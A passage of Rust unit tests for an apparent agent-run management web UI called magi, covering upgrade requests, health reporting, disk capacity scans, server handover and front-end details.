23746            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23747            Some(0)
23748        );
23749        for message in [
23750            "permission denied",
23751            "GitHub API rate limit exceeded",
23752            "GitHub rate limit (resets in unknown)",
23753            "GitHub rate limit (resets in 18446744073709551615d)",
23754        ] {
23755            assert_eq!(upgrade_retry_after(message), None, "{message}");
23756        }
23757    }
23758
23759    #[tokio::test]
23760    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23761        let home = TempDir::new().unwrap();
23762        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23763        ui.start_loop(None).unwrap();
23764        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23765        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23766        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23767        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23768        let response = finish_upgrade_request(&ui, result);
23769        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23770        assert_eq!(response.headers()["retry-after"], "120");
23771        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23772            .await
23773            .unwrap();
23774        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23775        assert!(body["error"].as_str().unwrap().contains(reason));
23776        assert_eq!(body["retry_after_secs"], 120);
23777        assert!(body["retry_at"].as_u64().is_some());
23778        for _ in 0..2 {
23779            let view = health(State(ui.clone())).await.unwrap().0;
23780            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23781            assert_eq!(failure, body);
23782        }
23783        assert_eq!(
23784            std::fs::read(updater::progress_path(home.path())).unwrap(),
23785            before
23786        );
23787        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23788        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23789        // A conflicting request must not erase the actionable earlier failure.
23790        let gate = ui.upgrade_gate.lock().await;
23791        assert_eq!(
23792            upgrade_post(State(ui.clone())).await.status(),
23793            StatusCode::CONFLICT
23794        );
23795        drop(gate);
23796        assert!(
23797            health(State(ui.clone()))
23798                .await
23799                .unwrap()
23800                .0
23801                .upgrade_request_error
23802                .is_some()
23803        );
23804        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23805        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23806        assert!(
23807            health(State(ui.clone()))
23808                .await
23809                .unwrap()
23810                .0
23811                .upgrade_request_error
23812                .is_none()
23813        );
23814        let live = ui.lock_loop().live.take().unwrap();
23815        live.stop.stop();
23816        live.handle.await.unwrap();
23817    }
23818
23819    #[tokio::test]
23820    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23821        use crate::updater::Stage;
23822        let repo = TempDir::new().expect("repo dir");
23823        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23824            .expect("write magi.toml");
23825        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23826        for stage in [Stage::Done, Stage::Failed] {
23827            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23828            let res = fx.post("/api/upgrade", None).await;
23829            assert_eq!(res.status, 200, "{stage:?}");
23830        }
23831        // No record at all, and the gate was released by the earlier calls.
23832        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23833        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23834    }
23835
23836    #[tokio::test]
23837    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23838        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
23839        // and the route answers from its own logic.
23840        //
23841        // This test used to lean on the fixture's placeholder repo failing
23842        // config discovery, which left `mode = "notify"` - and a live,
23843        // unauthenticated call to the GitHub releases API inside a unit test.
23844        // GitHub allows 60 of those an hour per address, so the suite went red
23845        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
23846        // long as somebody kept re-running it: every attempt spent another
23847        // request. Six reruns across four pull requests were charged to that
23848        // before it was read as a rate limit rather than a flake.
23849        //
23850        // What the assertion is about is the "already current" branch, which
23851        // is reached by there being no newer release *or* nowhere to look. The
23852        // second one needs no network and cannot be rate limited.
23853        let repo = TempDir::new().expect("repo dir");
23854        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23855            .expect("write magi.toml");
23856        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23857
23858        // It must answer 200 and leave the process alone: restarting for an
23859        // upgrade that did not happen parks the run in flight and drops every
23860        // connection to pay for nothing. A probe against a deck already on the
23861        // newest build did exactly that, which is how this case got its own
23862        // branch.
23863        let res = fx.post("/api/upgrade", None).await;
23864        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23865        let body = res.json();
23866        assert!(body["to"].is_null(), "there was no release to move to");
23867        assert!(body["parked"].is_null(), "and nothing was parked");
23868        assert!(
23869            body["detail"]
23870                .as_str()
23871                .unwrap()
23872                .contains("nothing restarted"),
23873            "{body:?}"
23874        );
23875    }
23876
23877    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
23878        tokio::time::timeout(Duration::from_secs(5), async {
23879            while state.lock().unwrap().in_flight {
23880                tokio::task::yield_now().await;
23881            }
23882        })
23883        .await
23884        .expect("capacity scan finished");
23885    }
23886
23887    fn disk_test_scope(home: &FsPath) -> DiskScope {
23888        DiskScope {
23889            runs: home.join("runs"),
23890            worktrees: home.join("worktrees"),
23891            cache: Some(home.join("cache")),
23892        }
23893    }
23894
23895    fn known_disk_capacity() -> DiskCapacity {
23896        DiskCapacity {
23897            free_bytes: Some(100),
23898            runs_bytes: Some(200),
23899            worktrees_bytes: Some(300),
23900            cache_bytes: Some(400),
23901        }
23902    }
23903
23904    #[tokio::test]
23905    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23906        let home = TempDir::new().unwrap();
23907        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23908        let mut ui = delta_test_ui(home.path());
23909        let state = Arc::get_mut(&mut ui).unwrap();
23910        state.repo = home.path().to_owned();
23911        state.worktrees_root = home.path().join("worktrees");
23912        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23913        ui.monitor
23914            .worker_started
23915            .store(true, std::sync::atomic::Ordering::SeqCst);
23916        let cfg = deputy_config(&ui.repo);
23917        let scope = DiskScope::of(&ui, cfg.as_ref());
23918        let (started, reached) = tokio::sync::oneshot::channel();
23919        let (release, blocked) = std::sync::mpsc::channel();
23920        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23921            started.send(()).unwrap();
23922            // A failed request assertion must also let the blocking worker exit.
23923            let _ = blocked.recv();
23924            known_disk_capacity()
23925        });
23926        assert!(cold.runs_bytes.is_none());
23927        tokio::time::timeout(Duration::from_secs(5), reached)
23928            .await
23929            .unwrap()
23930            .unwrap();
23931
23932        let requests: Vec<_> = (0..4)
23933            .map(|_| {
23934                let ui = ui.clone();
23935                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23936            })
23937            .collect();
23938        // This is a causal independence check, not a five-second latency
23939        // benchmark. Leave room for unrelated filesystem/thread contention
23940        // when the entire unit suite runs concurrently.
23941        let completed = tokio::time::timeout(Duration::from_secs(60), async {
23942            for request in requests {
23943                let view = request.await.unwrap();
23944                let disk = serde_json::to_value(view.disk).unwrap();
23945                assert!(disk["runs_bytes"].is_null());
23946                assert!(disk["worktrees_bytes"].is_null());
23947                // Free space is a cheap live observation even while the
23948                // recursive capacity measurement remains blocked.
23949                assert!(disk["free_bytes"].is_u64());
23950            }
23951        })
23952        .await;
23953        if completed.is_err() {
23954            release.send(()).unwrap();
23955            wait_for_disk_scan(&ui.monitor.disk).await;
23956            panic!("health must return while the measurement is causally blocked");
23957        }
23958        assert!(ui.monitor.disk.lock().unwrap().in_flight);
23959        // No competing worker can have published while the first holds flight.
23960        assert!(
23961            ui.monitor
23962                .disk
23963                .lock()
23964                .unwrap()
23965                .capacity
23966                .runs_bytes
23967                .is_none()
23968        );
23969        release.send(()).unwrap();
23970        wait_for_disk_scan(&ui.monitor.disk).await;
23971        assert_eq!(
23972            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23973            Some(200)
23974        );
23975    }
23976
23977    #[tokio::test]
23978    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23979        let home = TempDir::new().unwrap();
23980        let scope = disk_test_scope(home.path());
23981        let state = Arc::new(Mutex::new(DiskObservation {
23982            scope: Some(scope.clone()),
23983            capacity: known_disk_capacity(),
23984            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23985            ..Default::default()
23986        }));
23987        let (started, reached) = tokio::sync::oneshot::channel();
23988        let (release, blocked) = std::sync::mpsc::channel();
23989        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23990            started.send(()).unwrap();
23991            blocked.recv().unwrap();
23992            DiskCapacity {
23993                runs_bytes: Some(250),
23994                ..Default::default()
23995            }
23996        });
23997        assert_eq!(before.cache_bytes, Some(400));
23998        tokio::time::timeout(Duration::from_secs(5), reached)
23999            .await
24000            .unwrap()
24001            .unwrap();
24002        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24003        for _ in 0..4 {
24004            let scans = duplicate_scans.clone();
24005            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
24006                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24007                DiskCapacity::default()
24008            });
24009            assert_eq!(during.runs_bytes, Some(200));
24010            assert_eq!(during.cache_bytes, Some(400));
24011        }
24012        release.send(()).unwrap();
24013        wait_for_disk_scan(&state).await;
24014        let scans = duplicate_scans.clone();
24015        let after = DiskObservation::observe(&state, scope, move |_| {
24016            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24017            DiskCapacity::default()
24018        });
24019        wait_for_disk_scan(&state).await;
24020        assert_eq!(after.runs_bytes, Some(250));
24021        assert_eq!(after.free_bytes, Some(100));
24022        assert_eq!(after.cache_bytes, Some(400));
24023        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24024        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
24025    }
24026
24027    #[tokio::test]
24028    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
24029        let home = TempDir::new().unwrap();
24030        let old_scope = disk_test_scope(home.path());
24031        let mut new_scope = old_scope.clone();
24032        new_scope.cache = Some(home.path().join("replacement-cache"));
24033        let state = Arc::new(Mutex::new(DiskObservation {
24034            scope: Some(old_scope.clone()),
24035            capacity: known_disk_capacity(),
24036            ..Default::default()
24037        }));
24038        let (started, reached) = tokio::sync::oneshot::channel();
24039        let (release, blocked) = std::sync::mpsc::channel();
24040        DiskObservation::observe(&state, old_scope, move |_| {
24041            started.send(()).unwrap();
24042            blocked.recv().unwrap();
24043            known_disk_capacity()
24044        });
24045        tokio::time::timeout(Duration::from_secs(5), reached)
24046            .await
24047            .unwrap()
24048            .unwrap();
24049        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
24050        let scans = duplicate_scans.clone();
24051        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
24052            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
24053            DiskCapacity::default()
24054        });
24055        assert!(changed.cache_bytes.is_none());
24056        assert!(changed.runs_bytes.is_none());
24057        release.send(()).unwrap();
24058        wait_for_disk_scan(&state).await;
24059        {
24060            let observation = state.lock().unwrap();
24061            assert!(observation.capacity.cache_bytes.is_none());
24062            assert!(observation.finished.is_none());
24063        }
24064        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
24065            assert_eq!(scope, &new_scope);
24066            DiskCapacity {
24067                cache_bytes: Some(999),
24068                ..Default::default()
24069            }
24070        });
24071        wait_for_disk_scan(&state).await;
24072        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
24073        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
24074    }
24075
24076    #[tokio::test]
24077    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
24078        let home = TempDir::new().unwrap();
24079        let scope = disk_test_scope(home.path());
24080        let state = Arc::new(Mutex::new(DiskObservation {
24081            scope: Some(scope.clone()),
24082            capacity: known_disk_capacity(),
24083            ..Default::default()
24084        }));
24085        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
24086        wait_for_disk_scan(&state).await;
24087        {
24088            let mut observation = state.lock().unwrap();
24089            assert_eq!(observation.capacity.cache_bytes, Some(400));
24090            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
24091            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
24092        }
24093        DiskObservation::observe(&state, scope, |_| DiskCapacity {
24094            cache_bytes: Some(450),
24095            ..Default::default()
24096        });
24097        wait_for_disk_scan(&state).await;
24098        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
24099    }
24100
24101    #[test]
24102    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
24103        let home = TempDir::new().unwrap();
24104        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
24105        assert_eq!(disk_capacity_size(home.path()), Some(0));
24106        std::fs::create_dir(home.path().join("nested")).unwrap();
24107        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
24108        assert_eq!(disk_capacity_size(home.path()), Some(5));
24109        #[cfg(unix)]
24110        {
24111            // Unix distinguishes an invalid descendant lookup from absence.
24112            assert_eq!(
24113                disk_capacity_size(&home.path().join("nested/data/child")),
24114                None
24115            );
24116        }
24117        #[cfg(unix)]
24118        {
24119            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
24120            assert_eq!(disk_capacity_size(home.path()), Some(5));
24121        }
24122    }
24123
24124    #[tokio::test]
24125    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
24126        // `mode = "off"` for the same reason as the test above: a default
24127        // fixture repo falls back to `mode = "notify"`, which would make this
24128        // route's new `update` field a live, unauthenticated GitHub call on
24129        // every assertion in this suite that happens to hit `/api/health`.
24130        let repo = TempDir::new().expect("repo dir");
24131        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
24132            .expect("write magi.toml");
24133        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
24134
24135        let health = fx.get("/api/health").await.json();
24136        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
24137        assert_eq!(
24138            health["update"]["available"], false,
24139            "checking is off, which reads as \"unknown\", not \"none\""
24140        );
24141        assert!(health["update"]["to"].is_null());
24142        assert!(
24143            health["upgrade"].is_null(),
24144            "nothing has ever asked this deck to upgrade"
24145        );
24146    }
24147
24148    #[tokio::test]
24149    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
24150        let fx = Fixture::start().await;
24151        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
24152
24153        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24154        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24155        progress.advance(crate::updater::Stage::Parking);
24156        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24157
24158        let health = fx.get("/api/health").await.json();
24159        assert_eq!(health["upgrade"]["stage"], "parking");
24160        assert_eq!(health["upgrade"]["from"], "0.5.1");
24161        assert_eq!(health["upgrade"]["to"], "0.5.2");
24162        let waiting_on = health["upgrade"]["waiting_on"]
24163            .as_str()
24164            .expect("waiting_on is set while parking a known run");
24165        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24166        assert!(waiting_on.contains("implementing"), "{waiting_on}");
24167    }
24168
24169    #[tokio::test]
24170    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
24171        let fx = Fixture::start().await;
24172        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24173        progress.advance(crate::updater::Stage::Done);
24174        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24175
24176        let health = fx.get("/api/health").await.json();
24177        assert_eq!(health["upgrade"]["stage"], "done");
24178        assert!(
24179            health["upgrade"]["waiting_on"].is_null(),
24180            "nothing to wait on once it is done"
24181        );
24182    }
24183
24184    /// The handover signal is seen however the race falls, and wakes its one
24185    /// waiter once per signal - nothing here can spin.
24186    #[tokio::test]
24187    async fn the_handover_signal_wakes_one_waiter_once() {
24188        let signal = Notify::new();
24189        // Signalled before anyone waits: the stored permit is not lost.
24190        signal.notify_one();
24191        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
24192            .await
24193            .expect("an early signal is still seen");
24194        // One signal, one wake-up: a second wait does not resolve by itself.
24195        assert!(
24196            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
24197                .await
24198                .is_err(),
24199            "a consumed signal must not wake a second time"
24200        );
24201        // Signalled while waiting.
24202        let signal = std::sync::Arc::new(signal);
24203        let waiter = tokio::spawn({
24204            let signal = std::sync::Arc::clone(&signal);
24205            async move { wait_for_handover(&signal).await }
24206        });
24207        tokio::time::sleep(Duration::from_millis(20)).await;
24208        assert!(!waiter.is_finished(), "nothing was signalled yet");
24209        signal.notify_one();
24210        tokio::time::timeout(Duration::from_secs(5), waiter)
24211            .await
24212            .expect("a late signal wakes the waiter")
24213            .expect("join");
24214    }
24215
24216    #[tokio::test]
24217    async fn health_says_how_long_a_handover_has_been_stuck() {
24218        let fx = Fixture::start().await;
24219        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24220        progress.advance(crate::updater::Stage::Replaced);
24221        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
24222        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24223
24224        let health = fx.get("/api/health").await.json();
24225        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
24226        assert!(stuck >= 600, "{stuck}");
24227        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
24228        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
24229    }
24230
24231    #[tokio::test]
24232    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
24233        let home = tempfile::tempdir().expect("temp home");
24234        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24235        progress.advance(crate::updater::Stage::Parking);
24236        crate::updater::write_progress(home.path(), &progress).expect("seed");
24237        // What the second upgrade_and_restart and its handler do.
24238        let mut again = progress.clone();
24239        again.advance(crate::updater::Stage::Replaced);
24240        crate::updater::write_progress(home.path(), &again).expect("replaced");
24241        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24242        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
24243        let after = crate::updater::read_progress(home.path()).expect("record");
24244        assert_eq!(after.stage, crate::updater::Stage::Parking);
24245    }
24246
24247    #[tokio::test]
24248    async fn health_does_not_call_a_live_parking_wait_stuck() {
24249        let fx = Fixture::start().await;
24250        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
24251        progress.parked_run = Some("20260905-000000-cd51".to_owned());
24252        progress.advance(crate::updater::Stage::Parking);
24253        let hours = Duration::from_secs(3 * 3600);
24254        progress.started_at = Timestamp::now() - hours;
24255        progress.updated_at = Timestamp::now() - hours;
24256        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
24257        let _lease = crate::updater::LeaseGuard::enter(
24258            fx.home.path(),
24259            Some("20260905-000000-cd51".to_owned()),
24260        );
24261
24262        let health = fx.get("/api/health").await.json();
24263        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
24264        assert!(health["upgrade"]["stuck_kind"].is_null());
24265        assert_eq!(health["upgrade"]["handover_alive"], true);
24266        let waiting_on = health["upgrade"]["waiting_on"]
24267            .as_str()
24268            .expect("waiting_on");
24269        assert!(waiting_on.contains("cd51"), "{waiting_on}");
24270    }
24271
24272    fn idle_ui(home: &TempDir) -> Ui {
24273        let runs = home.path().join("runs");
24274        std::fs::create_dir_all(&runs).expect("runs dir");
24275        Ui::new(
24276            Queue::at(home.path().join("queue")),
24277            Questions::at(home.path().join("questions")),
24278            Talks::at(home.path().join("talks")),
24279            runs,
24280            home.path().to_path_buf(),
24281            PathBuf::from("/repo/magi"),
24282        )
24283        .with_launch(launch_idle)
24284    }
24285
24286    #[tokio::test]
24287    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
24288        let home = TempDir::new().expect("temp home");
24289        let ui = idle_ui(&home);
24290        let lease = crate::worker::try_lease(home.path(), "scheduler")
24291            .expect("scheduler lease")
24292            .expect("free");
24293        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
24294            .expect("request stop");
24295        let error = ui
24296            .start_detached_loop()
24297            .await
24298            .expect_err("transition is still live");
24299        assert_eq!(error.status, StatusCode::CONFLICT);
24300        assert!(error.message.contains("still running or stopping"));
24301        assert_eq!(
24302            crate::worker::control(home.path(), "scheduler").unwrap(),
24303            Some(crate::worker::Control::Stop)
24304        );
24305        drop(lease);
24306    }
24307
24308    #[tokio::test]
24309    async fn handover_releases_listener_without_waiting_for_execution_leases() {
24310        let home = TempDir::new().expect("temp home");
24311        let ui = idle_ui(&home);
24312        let turns = ui
24313            .begin_talk_turn("active-chat")
24314            .expect("claim")
24315            .expect("free");
24316        let execution = crate::worker::try_lease(home.path(), "active-task")
24317            .expect("execution lease")
24318            .expect("free");
24319        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24320            .await
24321            .expect("bind loopback");
24322        let address = listener.local_addr().expect("address");
24323        let admissions = Arc::clone(&ui.admissions);
24324        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
24325        let successor_started = std::sync::atomic::AtomicBool::new(false);
24326        tokio::time::timeout(
24327            Duration::from_secs(2),
24328            hand_over(home.path(), &admissions, served, || {
24329                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
24330                Ok(1)
24331            }),
24332        )
24333        .await
24334        .expect("restart must not wait for execution")
24335        .expect("handover");
24336        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
24337        // BSD may retain the address briefly after listener release. The real
24338        // successor uses the same bounded bind retry rather than a one-shot bind.
24339        let successor = bind_waiting(address)
24340            .await
24341            .expect("successor binds released address");
24342        assert_eq!(successor.local_addr().unwrap(), address);
24343        assert!(turns.owns(), "the chat lease survives restart");
24344        assert!(
24345            crate::worker::try_lease(home.path(), "active-task")
24346                .unwrap()
24347                .is_none()
24348        );
24349        drop(execution);
24350        drop(turns);
24351    }
24352
24353    #[tokio::test]
24354    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
24355        let home = TempDir::new().expect("temp home");
24356        let ui = idle_ui(&home);
24357        let admission = ui.begin_admission().expect("admit send");
24358        let turn = ui
24359            .begin_talk_turn("active-chat")
24360            .expect("claim")
24361            .expect("free");
24362        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
24363            .await
24364            .expect("bind loopback");
24365        let address = listener.local_addr().expect("address");
24366        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
24367        let successor_called = std::sync::atomic::AtomicBool::new(false);
24368        let handover = hand_over(home.path(), &ui.admissions, served, || {
24369            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
24370            Ok(1)
24371        });
24372        tokio::pin!(handover);
24373        // Poll exactly to the writer waiting on our admission guard. This
24374        // pins the race without sleeps or assumptions about task scheduling.
24375        std::future::poll_fn(|cx| {
24376            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
24377            std::task::Poll::Ready(())
24378        })
24379        .await;
24380        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
24381        assert!(
24382            ui.begin_admission().is_err(),
24383            "new ingress cannot race the drain"
24384        );
24385        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
24386        drop(admission);
24387        tokio::time::timeout(Duration::from_secs(2), handover)
24388            .await
24389            .expect("only publication may delay restart")
24390            .expect("handover");
24391        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
24392        assert!(
24393            turn.owns(),
24394            "the detached chat turn is not awaited or cancelled"
24395        );
24396        assert!(
24397            ui.begin_admission().is_err(),
24398            "old accepted connections stay closed"
24399        );
24400        drop(turn);
24401    }
24402
24403    #[test]
24404    fn health_worker_metadata_never_contains_payload_or_result() {
24405        let view = WorkerView::from(crate::worker::Job {
24406            id: "job".into(),
24407            sequence: 1,
24408            kind: "service".into(),
24409            key: "maintenance".into(),
24410            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
24411            generation: "generation".into(),
24412            version: Some("1.2.3".into()),
24413            status: crate::worker::Status::Running,
24414            result: Some("private diagnostics".into()),
24415            pid: Some(4242),
24416            created_at: 1,
24417            finished_at: None,
24418        });
24419        let value = serde_json::to_value(view).expect("serialize public metadata");
24420        assert_eq!(value["version"], "1.2.3");
24421        assert_eq!(value["pid"], 4242);
24422        assert!(value.get("payload").is_none());
24423        assert!(value.get("result").is_none());
24424        assert!(!value.to_string().contains("private"));
24425    }
24426
24427    #[test]
24428    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
24429        let home = TempDir::new().expect("temp home");
24430        let ui = idle_ui(&home);
24431        std::fs::write(
24432            home.path().join("daemon.json"),
24433            serde_json::json!({
24434                "schema": 2, "pid": 4242, "worker_protocol": 1,
24435                "updated_at": Timestamp::now().to_string(), "idle": true,
24436            })
24437            .to_string(),
24438        )
24439        .expect("status");
24440        let reading = daemon::read_status(home.path());
24441        assert!(Foreign::of(reading.as_ref()).is_none());
24442        let view = ui.runtime_loop_view(reading, &[]);
24443        assert!(view.running);
24444        assert!(view.owned);
24445    }
24446
24447    #[test]
24448    fn only_an_explicit_one_requests_a_resume() {
24449        assert!(!resume_requested(None));
24450        assert!(!resume_requested(Some("0".into())));
24451        assert!(!resume_requested(Some("".into())));
24452        assert!(resume_requested(Some("1".into())));
24453    }
24454
24455    #[test]
24456    fn an_error_is_visible_from_where_the_button_is() {
24457        // The alert used to sit in the flow under the header. On a phone
24458        // scrolled 13 500 px down to a run's action sheet that is off screen,
24459        // so tapping Resume and being told "the loop is running run b455
24460        // right now" looked exactly like a button that did nothing.
24461        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
24462            ..APP_CSS.find(".alert-text").expect(".alert-text")];
24463        assert!(
24464            alert.contains("position: fixed"),
24465            "an error about the thing under your thumb has to be visible from \
24466             where your thumb is: {alert}"
24467        );
24468        assert!(
24469            alert.contains("z-index: 25"),
24470            "above the dock (20) and the run-actions FAB (15), so neither \
24471             buries it: {alert}"
24472        );
24473        assert!(
24474            alert.contains("var(--tap)"),
24475            "and clear of the dock and the home indicator: {alert}"
24476        );
24477        // The FAB sits at the same height on the right. An error that covered
24478        // it would hide the button the operator reaches for next.
24479        assert!(
24480            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
24481            "the FAB's column stays free: {alert}"
24482        );
24483    }
24484
24485    #[tokio::test]
24486    async fn an_older_attempt_says_what_replaced_it() {
24487        let fx = Fixture::start().await;
24488        let q = fx.queue();
24489        let runs = fx.runs();
24490        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24491        write_run(&runs, first, RunStatus::Stalled);
24492        write_run(&runs, second, RunStatus::Blocked);
24493
24494        let mut t = Task::new(
24495            "one task".to_owned(),
24496            "do it".to_owned(),
24497            PathBuf::from("/repo"),
24498            Source::Human,
24499        );
24500        t.runs = vec![first.to_owned(), second.to_owned()];
24501        q.put(&mut t).expect("put");
24502
24503        // Two cards with the same title and no hint which is which was the
24504        // question: "why are there two of the same, one stalled and one
24505        // blocked?" The older one now names its replacement.
24506        let rows = fx.get("/api/runs").await.json();
24507        let by = |short: &str| -> Value {
24508            rows.as_array()
24509                .unwrap()
24510                .iter()
24511                .find(|r| r["short"] == short)
24512                .cloned()
24513                .unwrap_or(Value::Null)
24514        };
24515        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
24516        assert!(
24517            by("bbbb")["superseded_by"].is_null(),
24518            "the latest attempt is not superseded by anything"
24519        );
24520        // Front end: the note has to be rendered, not just carried.
24521        assert!(APP_JS.contains("run.superseded_by"));
24522        assert!(APP_JS.contains("Superseded by"));
24523    }
24524
24525    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
24526        let mut t = Task::new(
24527            "one task".to_owned(),
24528            "do it".to_owned(),
24529            PathBuf::from("/repo"),
24530            Source::Human,
24531        );
24532        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
24533        t.status = status;
24534        t
24535    }
24536
24537    #[test]
24538    fn source_link_picks_the_page_that_filed_the_task() {
24539        let agent = |node: &str| Source::Agent {
24540            run: "20260904-014455-ab12".to_owned(),
24541            node: node.to_owned(),
24542        };
24543        let chat = source_link(&agent("chat")).expect("chat link");
24544        assert_eq!(chat.kind, "chat");
24545        assert_eq!(chat.id, "20260904-014455-ab12");
24546        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
24547        let run = source_link(&agent("implement")).expect("run link");
24548        assert_eq!(
24549            (run.kind, run.href.as_str()),
24550            ("run", "#/runs/20260904-014455-ab12")
24551        );
24552        assert_eq!(source_link(&Source::Human), None);
24553        assert_eq!(
24554            source_link(&Source::Issue {
24555                number: 3,
24556                repo: "o/r".to_owned()
24557            }),
24558            None
24559        );
24560        let odd = source_link(&Source::Agent {
24561            run: "a b/c".to_owned(),
24562            node: "chat".to_owned(),
24563        })
24564        .expect("link");
24565        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
24566    }
24567
24568    #[test]
24569    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
